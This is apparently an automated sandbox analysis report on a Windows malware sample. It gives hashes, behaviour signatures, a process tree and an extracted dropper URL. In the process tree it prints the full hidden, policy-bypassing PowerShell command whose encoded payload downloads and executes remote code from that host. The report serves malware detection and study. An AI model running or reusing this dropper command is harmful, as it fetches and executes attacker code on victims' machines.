Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/11/2024, 20:03

General

  • Target
    223cda449a2f2cb91a94ea3bebb50323493a8ff15f358b95d908f71bbe523d87.exe
  • Size 39.4MB
  • Sample241113-ysnsdsycmd
  • SHA256 223cda449a2f2cb91a94ea3bebb50323493a8ff15f358b95d908f71bbe523d87
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://mydatayxnhzcs.tech/fil

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\223cda449a2f2cb91a94ea3bebb50323493a8ff15f358b95d908f71bbe523d87.exe
    "C:\Users\Admin\AppData\Local\Temp\223cda449a2f2cb91a94ea3bebb50323493a8ff15f358b95d908f71bbe523d87.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:368
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AG8AbABvAG8AYwBlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgBaAFMAOQB3AGMAeQA4ADIAWQBUAGMAMwBOAFcAUgBqAFkAVABNAHoATQB6AFEAMwBPAFQAVQAzAE0ARwBZAHkATgBEAEYAagBZAHoARQB6AE0AbQBGAGwATQBUAEkAMwBZAHkANQBxAGMARwBjAD0AIgApACkAOwAKACQAeQBuAHkAdgBuAGUAZAA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AHQAZQBXAFIAaABkAEcARgA1AGUARwA1AG8AZQBtAE4AegBMAG4AUgBsAFkAMgBnAHYAWgBtAGwAcwAiACkAKQA7AAoAJAB1AHIAaQAgAD0AIAAoACQAeQBuAHkAdgBuAGUAZAAgACsAIAAkAHUAbwBsAG8AbwBjAGUAKQA7AAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADsACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAAoAewAKAAkAdAByAHkAewAKAAkACQAkAGMAbwBuAHQAZQBuAHQAIAA9ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGkAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnADsACgAJAAkASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABjAG8AbgB0AGUAbgB0ADsACgAJAAkAYgByAGUAYQBrADsACgAJAH0ACgAJAGMAYQB0AGMAaAAKAAkAewAKAAkACQBXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlAAoACQAJACQAYwBvAHUAbgB0ACAALQA9ACAAMQA7AAoACQAJAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AcwAgADEANQA7AAoACQB9AAoAfQAKAA==
      2⤵
      • Hide Artifacts: Hidden Window
      • Suspicious use of WriteProcessMemory
      PID:2972
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AG8AbABvAG8AYwBlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgBaAFMAOQB3AGMAeQA4ADIAWQBUAGMAMwBOAFcAUgBqAFkAVABNAHoATQB6AFEAMwBPAFQAVQAzAE0ARwBZAHkATgBEAEYAagBZAHoARQB6AE0AbQBGAGwATQBUAEkAMwBZAHkANQBxAGMARwBjAD0AIgApACkAOwAKACQAeQBuAHkAdgBuAGUAZAA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AHQAZQBXAFIAaABkAEcARgA1AGUARwA1AG8AZQBtAE4AegBMAG4AUgBsAFkAMgBnAHYAWgBtAGwAcwAiACkAKQA7AAoAJAB1AHIAaQAgAD0AIAAoACQAeQBuAHkAdgBuAGUAZAAgACsAIAAkAHUAbwBsAG8AbwBjAGUAKQA7AAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADsACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAAoAewAKAAkAdAByAHkAewAKAAkACQAkAGMAbwBuAHQAZQBuAHQAIAA9ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGkAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnADsACgAJAAkASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABjAG8AbgB0AGUAbgB0ADsACgAJAAkAYgByAGUAYQBrADsACgAJAH0ACgAJAGMAYQB0AGMAaAAKAAkAewAKAAkACQBXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlAAoACQAJACQAYwBvAHUAbgB0ACAALQA9ACAAMQA7AAoACQAJAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AcwAgADEANQA7AAoACQB9AAoAfQAKAA==
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3064

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_eifv4pup.u54.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eifv4pup.u54.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/3064-2-0x00007FFAA2693000-0x00007FFAA2695000-memory.dmp

        memory/3064-12-0x0000019C491F0000-0x0000019C49212000-memory.dmp

        memory/3064-13-0x00007FFAA2690000-0x00007FFAA3151000-memory.dmp

        memory/3064-14-0x00007FFAA2690000-0x00007FFAA3151000-memory.dmp

        memory/3064-15-0x00007FFAA2693000-0x00007FFAA2695000-memory.dmp

        memory/3064-16-0x00007FFAA2690000-0x00007FFAA3151000-memory.dmp